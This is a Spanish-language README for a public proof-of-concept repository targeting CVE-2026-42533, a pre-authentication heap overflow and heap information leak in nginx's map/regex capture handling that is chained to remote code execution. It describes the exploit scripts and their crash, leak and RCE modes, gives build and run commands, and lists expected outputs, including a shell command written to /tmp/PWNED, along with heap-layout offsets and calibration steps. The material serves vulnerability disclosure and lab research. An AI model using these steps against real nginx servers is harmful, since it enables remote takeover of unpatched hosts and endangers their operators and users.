
CVE-2026-42533: desbordamiento de montón (heap overflow) pre-autenticación y fuga de información en nginx por la corrupción de capturas de PCRE en el motor de map/script, encadenado a RCE.
Desbordamiento de búfer en el heap y fuga de información del heap antes de la autenticación en nginx, causados por la falta de guardado/restauración del estado de las capturas de PCRE entre las dos pasadas del motor de scripts. Una variable map con regex evaluada entre dos referencias a capturas sobrescribe r->captures, por lo que la pasada LEN y la pasada VALUE no se ponen de acuerdo sobre el tamaño de una captura. El búfer se dimensiona para una captura y se rellena con otra. Una sobrescritura mayor produce un desbordamiento del heap con contenido y longitud controlados por el atacante. Una sobrescritura menor produce un búfer sobredimensionado cuya cola sin inicializar se devuelve al cliente, filtrando punteros de libc y del heap.
Las dos primitivas se encadenan para lograr una ejecución remota de código fiable antes de la autenticación. La fuga neutraliza ASLR en una sola petición GET, por lo que el desbordamiento no necesita que ASLR esté desactivado.
Informe: https://cyberstan.co.uk/nginx-rce/ Aviso: F5 K000162097 Reportado por: Stan Shaw (cyberstan)
nginx 0.9.6 hasta 1.30.3 (estable) y 1.31.2 (mainline), explotable desde que la directiva map incorporó soporte de regex en 2011. Afecta tanto al módulo http como al stream. Unas 50 directivas repartidas en 13 puntos de llamada, más una segunda vía a través de capturas con nombre (r->variables[]). Corregido en 1.30.4 y 1.31.3.
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
Ejecuta todos los comandos de abajo desde la raíz del repositorio, para que exploits/, configs/ y el árbol de compilación ../nginx-1.30.1 se resuelvan correctamente.
exploits/poc.py es el exploit principal (captura numerada, sumidero proxy_method). Sus modos:
| Modo | Propósito |
|---|---|
poc.py --crash | Dispara el desbordamiento del heap; en una compilación ASan imprime el tamaño de la escritura y la pila en ngx_http_script_copy_capture_code. |
poc.py --leak | Fuga de información: extrae los punteros de libc y del heap del cuerpo de la respuesta sobredimensionada. |
poc.py --rce | RCE completo antes de la autenticación. Disparo único general (configs/nginx_poc.conf), ~66% por intento; repítelo si falla. |
poc.py --rce-det | RCE completo antes de la autenticación, determinista contra la configuración controlada configs/nginx_det.conf. |
Scripts independientes que cubren el resto de la superficie del fallo:
| Script | Propósito |
|---|---|
exploits/leak_multi.py | Fuga de información a través de otros dos evaluadores (return, set); cada puntero libc+heap se confirma contra /proc/<pid>/maps. Config estándar. |
exploits/test_all_sites.py | Validador AddressSanitizer que dispara los 13 puntos de llamada del desbordamiento (http + stream). |
exploits/named_capture_poc.py | La variante de captura con nombre (?P<name>...) a través de r->variables[] / copy_var_code, una segunda causa raíz. |
Las configuraciones están en configs/: nginx_poc.conf (crash/leak/rce) y nginx_det.conf (rce-det). El informe completo está en docs/EXPLOITATION.md.
Linux, gcc, python3 y el código fuente de nginx 1.30.1. Desarrollado y probado en Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, ASLR completo.
Dos compilaciones. Una compilación limpia para la fuga y el RCE, para que el residuo del heap sea real. Una compilación AddressSanitizer para el crash y los validadores de puntos, para que el desbordamiento se informe con el tamaño exacto de la escritura y la pila.
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py se comunica con un nginx en ejecución en 127.0.0.1:8950. Inícialo en una terminal con configs/nginx_poc.conf y luego ejecuta en otra el modo que quieras. Los otros tres scripts inician y detienen su propio nginx, por lo que solo necesitan NGINX_BIN.
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
Esperado: un heap-buffer-overflow, WRITE of size 200 en ngx_http_script_copy_capture_code en ngx_http_script.c:1404, llamado desde ngx_http_complex_value en ngx_http_proxy_create_request.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
Esperado: un cuerpo de 8161 bytes con 2 bytes escritos y el resto residuo del heap. Un puntero de libc en el offset 0x08 y un puntero del heap en 0x10.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
Esperado: una fuga, unas 40 conexiones de spray, el disparo del desbordamiento y luego /tmp/PWNED con la salida de id. Es un disparo único y acierta aproximadamente dos de cada tres veces en la compilación de desarrollo; si falla, el worker crashea y vuelves a ejecutarlo. Consulta la sección "Fiabilidad" de docs/EXPLOITATION.md.
Contra una configuración controlada, el mismo fallo es un disparo único determinista. Recupera la base absoluta del heap a partir de la fuga en una sola línea (heap_base = (leaked_ptr & ~0xfff) - 0x22000), deposita un único cleanup de pool falsificado en una conexión retenida en una dirección conocida y apunta el cleanup del pool víctima a él, en lugar de al cuerpo de disparo transitorio, que nginx libera antes del teardown.
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf es una configuración de laboratorio (un solo worker, búferes fijos) cuyo diseño del heap es reproducible, y eso es lo que hace que los offsets de poc.py (PL_OFF, HEAP_PAGE_OFF) sigan siendo válidos. PL_OFF es el offset desde la base del heap en el que aterriza el cuerpo de cleanup retenido de POST /b/; depende de la secuencia exacta de asignaciones, por lo que varía entre compilaciones, versiones de glibc y configuraciones. Si --rce-det informa Recalibrate, lee los valores correctos de un worker en vivo con calibrate.py:
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py